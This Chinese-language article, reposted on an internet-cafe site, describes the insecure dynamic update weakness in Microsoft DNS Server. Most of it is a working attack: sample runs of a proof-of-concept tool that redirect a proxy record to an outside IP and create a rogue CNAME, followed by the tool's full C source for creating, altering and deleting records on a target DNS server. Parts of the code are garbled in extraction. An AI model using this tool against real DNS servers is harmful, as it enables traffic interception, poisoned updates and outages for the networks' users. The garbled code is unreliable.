天下网吧 >> 网吧天地 >> 网吧技术 >> 网吧安全 >> 正文

针对微软DNS Server动态升级漏洞的解析

2008-2-18赛迪网佚名

在系统设定下,大多数微软DNS服务的每个DNS记录都整合了允许非安全的动态升级的动态目录索引。这项功能能够允许远程用户创建修改和删除DNS记录。

这是基于此的几个攻击说明:

+ MITM 攻击:修改DNS记录。

这种攻击方式是最可靠的,同时也允许我们为许多Windows软件开发自动升级和同时修改二进制数。

+ 服务的拒绝:通过删除修改关键性的DNS记录。

+ Pharm:类似于MITM攻击,可以使许多DNS记录中毒。

DNS爱好者们就是利用那些薄弱的软件设置环节进行对DNS记录的修改。这里有些做过的例子,请大家参考:

D:\DNSfun>ping -n 1 FakeProxy.fooooo.com 
Haciendo ping a FakeProxy.fooooo.com [66.6.66.6] con 32 bytes de datos: 
D:\DNSfun>dnsfun.exe -s 10.100.1.1 -q  proxy.mydomain -u 66.6.66.6 
Microsoft Dynamic DNS Updates - Proof of Concept 
http://www.514.es - (c) 2007 Andres Tarasco Acu?a 
[+] Trying to resolve Host: proxy.mydomain (Dns Server 10.100.1.1) 
[+] Host proxy.mydomain resolved as 192.168.1.200 
[+] Trying to set ip address of the host proxy.mydomain to 66.6.66.6 
[+] Trying Nonsecure Dynamic Update... 
[?] Host Updated. Checking...(0) 
[+] Host proxy.mydomain resolved as 66.6.66.6 
D:\DNSfun>dnsfun.exe -s 10.100.1.1 -cc atarasco.mydomain.com -u www.514.es 
Microsoft Dynamic DNS Updates - Proof of Concept 
http://www.514.es - (c) 2007 Andres Tarasco Acu?a 
[+] Gathering Credentials.. 
[+] Creating DNS CName Record for atarasco.mydomain.com (www.514.es) 
[+] Host Created. Rechecking Record... 
      [+] Host atarasco.mydomain.com resolved as CNAME www.514.es

这虽然已经不是一个新的漏洞,但是很多人还是没有发现利用它。检查惯用函数,你会发现很多新功能:

*/ 
#include <stdio.h> 
#include <winsock2.h> 
#include <Windns.h> 
#pragma comment(lib,"Dnsapi.lib") 
#pragma comment(lib, "ws2_32.lib") 
char TargetDnsServer[256]=""; // -s 
char TargetDnsRecord[256]=""; // -q 
char NewIpAddress[256]="";    // -i 
char DeleteDnsRecord[256]=""; //-d 
char CreateDnsRecord[256]=""; 
WORD CreationType=DNS_TYPE_A; 
#define DELETERECORD   (DeleteDnsRecord[0]!='\0') 
#define UPDATERECORD ( (TargetDnsRecord[0]!='\0') && (NewIpAddress[0]!='\0') ) 
#define CREATERECORD ( (CreateDnsRecord[0]!='\0') && (NewIpAddress[0]!='\0') ) 
#define QUERYRECORD    (TargetDnsRecord[0]!='\0') 
#define _DBG_ 
#undef _DBG_ 
void usage(char *argv[]); 
DNS_RECORDA *DnsQueryA(char *name,IP4_ARRAY *servers) 
{ 
   DNS_STATUS status; 
   WORD type= DNS_TYPE_ANY; 
   DWORD fOptions=DNS_QUERY_BYPASS_CACHE | DNS_QUERY_NO_LOCAL_NAME 
|DNS_QUERY_NO_HOSTS_FILE | DNS_QUERY_NO_NETBT | 
DNS_QUERY_TREAT_AS_FQDN; 
   PVOID* reserved=NULL; 
   DNS_RECORDA *records=(PDNS_RECORDA)malloc(sizeof(DNS_RECORDA)); 
   DNS_RECORDA *result; 
   IN_ADDR ipaddr; 
   int i; 
   int count=0;         
   if (!name) { 
      return (NULL); 
   } else { 
      memset(records,'\0',sizeof(DNS_RECORDA)); 
      status = DnsQuery_A( name,          //PCWSTR pszName, 
         type,          //WORD wType, 
         fOptions,      //DWORD fOptions, 
         servers,       //PIP4_ARRAY aipServers, 
         (DNS_RECORDA**)&records,    //PDNS_RECORD* ppQueryResultsSet, 
         reserved ); //PVOID* pReserved 
      if (status == ERROR_SUCCESS) 
      { 
         fflush(stdout); 
         result=records; 
         do { 
#ifdef _DBG_     
            printf("[+] Record %i---\n",count); 
            count++; 
            printf("[+] DNS  wDataLength %i\n",result->wDataLength); 
            printf("[+] DNS Flags DW: %x\n",result->Flags.DW); 
            printf("[+] DNS Flags S.Section: %x\n",result->Flags.S.Section); 
            printf("[+] DNS Flags S.Delete: %x\n",result->Flags.S.Delete); 
            printf("[+] DNS Flags S.CharSet: %x\n",result->Flags.S.CharSet); 
            printf("[+] DNS Flags S.Unused: %x\n",result->Flags.S.Unused); 
            printf("[+] DNS Flags S.Reserved: %x\n",result->Flags.S.Reserved); 
#endif 
            switch (result->wType) { 
            case DNS_TYPE_A: 
               ipaddr.S_un.S_addr = (result->Data.A.IpAddress); 
               printf("[+] Host %s resolved as %s\n", result->pName,inet_ntoa(ipaddr)); 
               break; 
            case DNS_TYPE_NS: 
               printf("[+] Domain %s Dns Servers: %s\n",result->pName,result->Data.Ns.pNameHost); 
               break; 
            case DNS_TYPE_CNAME: 
               printf("[+] Host %s resolved as CNAME %s\n", result->pName,result-
>Data.Cname.pNameHost); 
               //DnsQueryA(result->Data.Cname.pNameHost,servers); 
               break; 
            case DNS_TYPE_SOA: 
               printf("[+] SOA Information: PrimaryServer: %s\n",result-
>Data.Soa.pNamePrimaryServer); 
               printf("[+] SOA Information: Administrator: %s\n",result-
>Data.Soa.pNameAdministrator); 
               printf("[+] SOA Information: SerialNo %x - Refresh %i - retry %i - Expire %
i - DefaultTld %i\n", 
                  result->Data.Soa.dwSerialNo, 
                  result->Data.Soa.dwRefresh, 
                  result->Data.Soa.dwRetry, 
                  result->Data.Soa.dwExpire, 
                  result->Data.Soa.dwDefaultTtl); 
               break; 
            case DNS_TYPE_MX: 
               printf("[+] %s MX Server resolved as %s (Preference %i)\n", result-
>pName,result->Data.Mx.pNameExchange, 
result->Data.Mx.wPreference); 
               break; 
            case DNS_TYPE_TEXT: 
               printf("[+] Text: %i bytes\n",result->Data.Txt.dwStringCount); //:? 
               break; 
            case DNS_TYPE_SRV: 
               printf("[+] SRV Record. NameTarget %s ",result->Data.Srv.pNameTarget); 
               printf("(Priority %i - Port %i - Weigth: 
%i)\n",result->Data.Srv.wPriority,result->Data.Srv.wPort,result->Data.Srv.wWeight); 
               //printf("[+] Resource Pad %i \n",result->Data.Srv.Pad); 
               break; 
            default: 
               printf("[-] DnsQuery returned unknown wtype %x\n",result->wType); 
               break; 
            } 
            result=result->pNext; 
         } while (result!=NULL); 
      } else { 
         if (status==9003) printf("[-] Record not found\n"); 
         else printf("[-] Query Error: %i - %i\n",status,GetLastError()); 
         exit(-1); 
      } 
   } 
   return records; 
} 
/***********************************************************************************************/ 
int main(int argc, char *argv[]) { 
   HANDLE creds; 
   DNS_RECORDA *result; 
   DNS_STATUS status; 
   HANDLE ContextHandle; 
   DWORD Options=DNS_UPDATE_SECURITY_ON; 
   PVOID pReserved=NULL; 
   IN_ADDR ipaddr; 
   IP4_ARRAY *servers=NULL; 
   SEC_WINNT_AUTH_IDENTITY_A *Credentials=NULL; 
   WORD i; 
   printf(" Microsoft Dynamic DNS Updates - Proof of Concept\n"); 
   printf(" http://www.514.es - (c) 2007 Andres Tarasco Acu?a\n\n"); 
   if (argc==1) usage(argv); 
   //Init Credentials Struct 
   Credentials = (SEC_WINNT_AUTH_IDENTITY_A *)malloc(sizeof(SEC_WINNT_AUTH_IDENTITY_A)); 
   memset(Credentials,'\0',sizeof(SEC_WINNT_AUTH_IDENTITY_A)); 
   Credentials->Flags=SEC_WINNT_AUTH_IDENTITY_ANSI;   
   for(i=1;i<argc;i++) { 
      if ( (argv[0]=='-') ) { 
         switch (argv[1]) { 
         case 's': 
         case 'S': 
            strcpy(TargetDnsServer,argv[i+1]); 
            servers=(PIP4_ARRAY)malloc(sizeof(IP4_ARRAY)); 
            servers->AddrCount=1; 
            servers->AddrArray[0]=inet_addr(TargetDnsServer); 
            break; 
         case 'D': 
         case 'd': 
            strcpy(DeleteDnsRecord,argv[i+1]); 
            break;                     
         case 'q': 
         case 'Q': 
            strcpy(TargetDnsRecord,argv[i+1]); 
            break; 
         case 'u': 
         case 'U': 
            strcpy(NewIpAddress,argv[i+1]); 
            break; 
         case 'c': 
         case 'C': 
            strcpy(CreateDnsRecord,argv[i+1]); 
            if (NewIpAddress[0]=='\0') strcpy(NewIpAddress,"127.0.0.1"); 
            if (argv[2]!='\0') { 
               switch (argv[2]) { 
               case 'c': CreationType=DNS_TYPE_CNAME; 
                  break; 
               case 'a': CreationType=DNS_TYPE_A; 
                  break; 
               } 
            } 
            break;           
            /* 
            case 'f': 
               CreateThread( NULL,0,HttpRelayToProxy,(LPVOID) &i,0,&dwThreadId); 
               break; 
            case 'au': //Uauthorization serName 
            Credentials->User=argv[i+1]; Credentials->UserLength=strlen(argv[i+1]);   
break; 
            case 'ap': 
            Credentials->Password=argv[i+1];Credentials->PasswordLength=strlen(argv
[i+1]); break; 
            case 'ad': 
            Credentials->Domain=argv[i+1]; Credentials->DomainLength=strlen(argv[i+1]);  
break;     
            */ 
         default: 
            printf("[-] Invalid argument: %s\n",argv); 
            usage(argv); 
            break; 
         } 
         i++;             
      } else usage(argv); 
   } 
   printf("[+] Gathering Credentials..\n"); 
   //http://msdn2.microsoft.com/en-us/library/ms682007.aspx 
   if (Credentials->UserLength==0) { 
      status=DnsAcquireContextHandle(FALSE,NULL,&ContextHandle); //Context with default 
Credentials 
   } else { 
      status=DnsAcquireContextHandle(FALSE,Credentials,&ContextHandle); //Context with 
Custom Credentials 
   } 
   if (status == ERROR_SUCCESS) {           
      if (CREATERECORD) { 
         result=(PDNS_RECORDA)malloc(sizeof(DNS_RECORDA)); 
         memset(result,'\0',sizeof(DNS_RECORDA)); 
         result->wType=CreationType; //DNS_TYPE_A by default 
         if (CreationType==DNS_TYPE_CNAME) { 
            printf("[+] Creating DNS CName Record for %s (%s)
\n",CreateDnsRecord,NewIpAddress); 
            result->Data.Cname.pNameHost=NewIpAddress; 
         } else { 
            printf("[+] Creating DNS A Record for %s (%s)\n",CreateDnsRecord,NewIpAddress); 
            result->Data.A.IpAddress=inet_addr(NewIpAddress); 
         } 
         result->pName=CreateDnsRecord; 
         result->wDataLength=4; 
         result->Flags.S.Section=1; 
         result->Flags.S.CharSet=DnsCharSetAnsi; 
         result->pNext=NULL;       
         status=DnsModifyRecordsInSet_A(result,  //add record 
            NULL, //delete record 
            Options, 
            ContextHandle, 
            servers, 
            NULL); 
         if (status ==ERROR_SUCCESS) { 
            printf("[+] Host Created. Rechecking Record...\n"); 
            DnsRecordListFree(result,DnsFreeRecordList); 
            result=DnsQueryA(CreateDnsRecord,servers); 
         } else { 
            printf("[-] Error: Unable to create  %s (%i)\n",CreateDnsRecord,status); 
         }       
      } else if (DELETERECORD) {         
         printf("[+] Trying to resolve Host: %s before deleting\n",DeleteDnsRecord); 
         result=DnsQueryA(DeleteDnsRecord,servers); 
         if (result!=NULL) { 
            printf("[+] Trying to Delete Record. Are You Sure? (Y/N)..."); 
            i=getchar(); if (i!='y') return(-1); 
            printf("[+] Deleting record %s\n",DeleteDnsRecord);   
            status=DnsModifyRecordsInSet_A(NULL,  //add record 
               result, //delete record 
               Options, 
               ContextHandle, 
               servers, 
               NULL);       
            if (status ==ERROR_SUCCESS) { 
               printf("[+] Host Deleted. Rechecking Record %s...\n",DeleteDnsRecord); 
               DnsRecordListFree(result,DnsFreeRecordList); 
               result=DnsQueryA(DeleteDnsRecord,servers); 
            } else { 
               printf("[-] Error: Unable to Delete %s\n",DeleteDnsRecord); 
            } 
         } else { 
            printf("[-] Host %s not found\n",DeleteDnsRecord); 
         } 
      } else if (UPDATERECORD) { 
         //         exit(1); 
         printf("[+] Trying to resolve Host: %s before updating\n",TargetDnsRecord); 
         result=DnsQueryA(TargetDnsRecord,servers); 
         if (result->wType==DNS_TYPE_A ) { 
            printf("[+] Trying to update record. Are You Sure? (Y/N)..."); 
            i=getchar(); if (i!='y') return(-1); 
            result->Data.A.IpAddress=inet_addr(NewIpAddress);//Modify Dns record 
            ipaddr.S_un.S_addr = (result->Data.A.IpAddress); 
            printf("[+] Trying to set ip address of the host %s to %s \n", 
TargetDnsRecord,NewIpAddress);//inet_ntoa(ipaddr)); 
            printf("[+] Trying to Modify Record...\n"); 
            status=DnsReplaceRecordSetA(result, 
               Options, //Attempts nonsecure dynamic update. If refused, then attempts 
secure dynamic update. 
               ContextHandle, 
               servers,//pServerList, 
               NULL);//pReserved 
            if (status ==ERROR_SUCCESS) { 
               printf("[+] Host Updated. Rechecking Record...\n"); 
               DnsRecordListFree(result,DnsFreeRecordList); 
               result=DnsQueryA(TargetDnsRecord,servers); 
            } else { 
               printf("[-] Error: Unable to Delete %s\n",TargetDnsRecord); 
            } 
         } else { 
            printf("[-] Unable to Update Record (Type %x)\n",result->wType); 
            } 
      } else if (QUERYRECORD) { 
         printf("[+] Query Information for host %s...\n",TargetDnsRecord); 
         result=DnsQueryA(TargetDnsRecord,servers); 
         DnsRecordListFree(result,DnsFreeRecordList);         
      } else { 
         printf("[-] Unknown Options\n"); 
         return(-1); 
      }           
   } else { 
      printf("[-] Error Calling DnsAcquireContextHandle\n");   
   } 
   return (1); 
} 
/****************************************************************************/ 
void usage(char *argv[]) {   
   printf(" Usage:\n"); 
   printf("\t%s\t -[s]d|c|q <options>\n",argv[0]); 
   printf(" Details:\n");   
   printf("\t%s\t -s  ip        (dns Server (optional))\n",argv[0]); 
   printf("\t%s\t -d  fqdn      (Delete dns record)\n",argv[0]); 
   printf("\t%s\t -q  fqdn      (Query  dns record)\n",argv[0]); 
   printf("\t%s\t -c[a|c] ip    (Create A or CName record (default A))\n",argv[0]); 
   printf("\t%s\t -u  ip|fqdn   (Update dns record (requires -q or -c))\n",argv[0]);   
   printf("\n Examples:\n"); 
   printf("\t%s -s 10.0.0.1 -q proxy.mydomain.com -u 5.1.4.77 (Updates record)\n",argv
[0]); 
   printf("\t%s -s 10.0.0.1 -d foo.mydomain.com      (delete foo.mydomain.com record)
\n",argv[0]); 
   printf("\t%s -s 10.0.0.1 -c atarasco.foo.mydomain.com -u 5.14.7.7 (creates record)
\n",argv[0]); 
   printf("\t%s -s 10.0.0.1 -cc www.atarasco.foo.mydomain.com -u 5.14.7.7 (creates record)
\n",argv[0]); 
   printf("\t%s -s 10.0.0.1 -q _ldap._tcp.mydomain             (Query for srv record)
\n",argv[0]); 
   exit(0); 
} 
      /****************************************************************************/

欢迎访问最专业的网吧论坛,无盘论坛,网吧经营,网咖管理,网吧专业论坛https://bbs.txwb.com

关注天下网吧微信,了解网吧网咖经营管理,安装维护:


本文来源:赛迪网 作者:佚名

声明
本文来源地址:0
声明:本站所发表的文章、评论及图片仅代表作者本人观点,与本站立场无关。若文章侵犯了您的相关权益,请及时与我们联系,我们会及时处理,感谢您对本站的支持!联系Email:support@txwb.com.,本站所有有注明来源为天下网吧或天下网吧论坛的原创作品,各位转载时请注明来源链接!
天下网吧·网吧天下
  • 本周热门
  • 本月热门
  • 阅读排行